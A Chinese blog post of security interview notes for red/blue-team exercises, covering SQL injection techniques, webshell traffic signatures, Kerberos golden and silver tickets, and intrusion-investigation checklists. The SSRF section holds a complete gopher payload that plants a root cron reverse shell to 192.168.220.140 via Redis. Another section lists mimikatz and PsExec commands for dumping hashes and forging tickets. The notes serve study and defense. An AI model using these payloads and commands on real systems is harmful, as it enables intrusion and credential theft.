网安护网面试-1-长亭护网面试 

0 阅读9分钟

已总结“网络安全”及“护网”面试,均在:(https://www.haotaoyun.com/category/soc/)


fastjson 不出网利用

dbcp+tomcat 回显 (BCEL 字节码利用):DBCP 是 Tomcat 应用服务器中用于管理数据库连接的组件。在某些版本的 Tomcat 中,tomcat-dbcp.jar 可能已经包含在内。这个库提供了连接池的功能,可以提高数据库操作的效率。在不出网的环境中,攻击者可能会尝试通过操纵数据库连接池的行为来实现攻击。

安全加固

1. 配置加固
2. 应用程序加固
3. 软件加固
4. 操作系统加固
5. 服务器加固
基本的操作系统配置项的加固,包括密码复杂度、定时口令更新、账户用户管理、高危端口和服务关闭等配置项的整改。

邮箱定位画像

1:最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;

2:封掉这些域名。可以整理一下证据,向相关域名注册机构反映一下。或者去相关网站举报这些网站。

sql 注入 dnslog 外带

 利用 UNC 路径去访问服务器,dns 会有日志,通过子查询,将内容拼接到域名内,利用 MYSQL 内置函数 load_file() 去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入, 读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。注:load_file 函数在 Linux 下是无法用来做 dnslog 攻击的,涉及到 Windows 中的 UNC 路径。(linux 中不存在 UNC 路径)

sql 注入堆叠

原理很简单,mysql_multi_query() 支持多条 sql 语句同时执行,就是个; 分隔,成堆的执行 sql 语句 select * from users;show databases;

ssrf 利用 ridis 打内网

通过【curl 命令】和【gopher 协议】远程攻击内网 redis。

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样就可以解决漏洞点不在 GET 参数的问题了。

gopher 协议可配合 linux 下的 curl 命令伪造 POST 请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis 是以 root 权限运行的。

payload 如下:

curl -v ‘xxx.xxx.xx.xx/xx.php?url=

gopher://172.21.0.2:6379/

_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’

redis 命令进行了两次 url 编码,这里是通过 gopher 协议伪造的请求包用 curl 命令来发送;

payload 采用的是 bash 反弹,定时程序路径是 /var/spool/cron/root

发送请求之前在公网机 192.168.220.140 开启 nc 监听端口 2333

nc -lvp 2333(或 nc -l 2333)

常用工具流量特征

蚁剑

base64,aes 加密

流量中最明显的特征为 @ini_set(“display_errors”,”0″)

冰蝎

冰蝎 2.0 强特征是 accept 里面有个 q=.2

冰蝎 3.0 Content-Type: application/octet-stream

冰蝎 4.0 ua 头 referer 头 accept 默认 aes128 密文长度 16 整数倍,在 accept 中一般接受的是 application/json 和 text/javascript,且有长连接

(1)内置十多个默认的 ua(user-agent)头,可以自定义,当用户没有定义时将从系统中随机选择

(2)冰蝎数据包总是伴随着大量的 content-type: application/octet-stream;

(3)content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload 都为定长。

菜刀

早期版本明文传输,后面是 base64 加密。

请求包中:ua 头为百度爬虫

请求体中存在 eval,base64 等特征字符

请求体中传递的 payload 为 base64 编码,并且存在固定的 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

哥斯拉

  1. Cookie 最后有一个分号
  2. 整个响应包的结构体征为:md5 前十六位 +base64+md5 后十六位。
  3. 会响应三次
  4. 第 1 个请求会发送大量数据,该请求不含有任何 Cookie 信息,服务器响应报文不含任何数据,但是响应会设置 PHPSESSID,后续请求都会自动带上该相应所创建的 Cookie。
  5. 第 2 个请求中自动带上了第 1 个请求中服务器响应返回的 Cookie 值,且第 2 个请求中只有少量的数据。
  6. 第 3 个请求与第 2 个请求完全一致。

响应包解密处理:首先去悼响应包数据的前 16 位以及后 16 位,然后对剩下的数据进行 base64 解码 +aes 解密,之后 gzip 解压缩即可。

AWVS 扫描器

主要是看请求包中是否含有 acunetix wvs 字段

Nessus 扫描器

nessus 字段

黄金票据

原理

 在 Kerberos 认证中,Client(客户机) 通过 AS(身份认证服务) 认证后,AS 会给 Client 一个 Logon Session Key 和 TGT, 而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的, 所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后, 就跳过 AS 验证, 不用验证账户和密码, 所以也不担心域管密码修改。黄金票据常用于权限维持。当我们获得域控的控制权限后,有可能获取域内所有用户的 hash,和 krbtgt 的 hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且 krbtgt 的密码没有更改,此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 tgt,重新获取域控的管理权限。

所需条件

 域名称 [AD PowerShell 模块:(Get-ADDomain).DNSRoot]
域的 SID 值 [AD PowerShell 模块:(Get-ADDomain).DomainSID.Value](就是域成员 SID 值去掉最后的)目标服务器的 FQDN
可利用的服务
域的 KRBTGT 账户 NTLM 密码哈希
需要伪造的用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用 Mimikatz 来提取 KRBTGT 帐户密码哈希值

白银票据

原理

 如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后, 通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份, 验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。

所需条件

 域名
域 sid
目标服务器名
可利用的服务
服务账号的 NTML HASH 
需要伪造的用户名

制作过程,主要使用工具还是 mimikatz 和 psexec

 第一步:管理员权限运行
mimikatzprivilege::debug #提升权限
sekurlsa::logonpasswords #获取 service 账户 hash 和 sid(同一个域下得 sid 一样)
 
第二步:清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据
 
第三步:伪造白银票据并导入
 
第四步:访问域控的共享目录
dir \\win08\c$
远程登陆,执行命令
PsExec.exe \\win08 cmd.exe
whoami   #查看权限

黄金票据和白银票据的区别

票据相关:www.freebuf.com/articles/ot…

 获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
 
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
 
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

Linux 入侵排查思路

 第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功 ->
 
第二步:查看 /etc/passwd 分析是否存在攻击者创建的恶意用户 ->
 
第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令 ->
 
第四步:分析 /var/spool/mail/root Root 邮箱,当日志被删除可查询本文件 ->
 
第五步:分析中间件、Web 日志,如 access_log 文件 ->
 
第六步:调用命令 last/lastb 翻阅登录日志 ->
 
第七步:分析 /var/log/cron 文件查看历史计划任务,第八步 -> 分析 history 日志分析操作命令记录 ->
 
最后一步:分析 redis、sql server、mysql、oracle 等日志文件

Windows 入侵排查思路

 第一步:检查系统账号安全 (查看服务器是否有弱口令,Netstat 查看网络连接对应的进程, 再通过 tasklist 进行进程定位)->
 
第二步:查看系统登录日志,筛查 4776、4624(登录成功) 事件进行分析 ->
 
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户 ->
 
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户 ->
 
第五步: 导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常 ->
 
第六步:运行 taskschd.msc 排查有无可疑的计划任务 ->
 
第七步:输入 %UserProfile%\Recent 分析最近打开过的可疑文件 ->
 
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的 access.log 日志文件。